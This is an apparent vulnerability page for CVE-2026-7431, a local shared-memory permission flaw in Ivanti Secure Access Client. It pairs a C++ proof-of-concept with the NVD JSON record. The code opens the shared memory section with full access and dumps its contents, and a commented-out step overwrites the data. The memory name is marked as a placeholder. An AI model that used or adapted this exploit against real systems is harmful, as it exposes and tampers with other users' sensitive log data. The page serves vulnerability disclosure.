CVE-2026-7431

#include <windows.h> #include <iostream> int main() { // Placeholder for the actual shared memory name used by Ivanti Secure Access Client // Attackers would need to reverse engineer the binary to find the exact name LPCSTR sharedMemoryName = "Ivanti_Secure_Access_Log_Memory"; // Attempt to open the shared memory section with read/write access HANDLE hMapFile = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, sharedMemoryName); if (hMapFile == NULL) { std::cerr << "Error: Could not open shared memory. Run as local user." << std::endl; return 1; } // Map the view of the file to the address space LPVOID pBuf = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (pBuf == NULL) { std::cerr << "Error: Could not map view of file." << std::endl; CloseHandle(hMapFile); return 1; } // Read sensitive data from the shared memory std::cout << "[+] Successfully accessed shared memory." << std::endl; std::cout << "[+] Data dump (first 256 bytes): " << (char*)pBuf << std::endl; // Demonstrate modification (Integrity Impact) // strcpy((char*)pBuf, "MODIFIED_BY_ATTACKER"); // std::cout << "[+] Data modified in shared memory." << std::endl; // Clean up UnmapViewOfFile(pBuf); CloseHandle(hMapFile); return 0; }

{"cve": {"id": "CVE-2026-7431", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2026-05-12T15:16:16.883", "lastModified": "2026-05-12T19:53:39.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An incorrect permission assignment for critical resource of Ivanti Secure Access Client   before 22.8R6 allows a local authenticated user to read or modify sensitive log data via write access to a shared memory section."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:*:*:*:*:*:*:*:*", "versionEndIncluding": "22.7", "matchCriteriaId": "40AE3DAB-4238-4795-9F38-7A1AC5CCA6F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:22.8:-:*:*:*:*:*:*", "matchCriteriaId": "D60EFE93-976A-43B6-9534-CB88E181D585"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:22.8:r1:*:*:*:*:*:*", "matchCriteriaId": "F1387C86-2180-421E-82F2-FBD58A248FA1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:22.8:r2:*:*:*:*:*:*", "matchCriteriaId": "2C5EBA54-2C7C-4D31-AE7B-A0BC817264E7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:22.8:r3:*:*:*:*:*:*", "matchCriteriaId": "09B7AF4E-2D40-4D7C-BCBA-717C468C3A0C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:22.8:r4:*:*:*:*:*:*", "matchCriteriaId": "17463F12-02E0-4DCB-9EFE-ED7699E54999"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:secure_access_client:22.8:r5:*:*:*:*:*:*", "matchCriteriaId": "1613113F-4507-4DB5-968D-649822DFDEF3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Secure-Access-Client-CVE-2026-7431-CVE-2026-7432?language=en_US", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}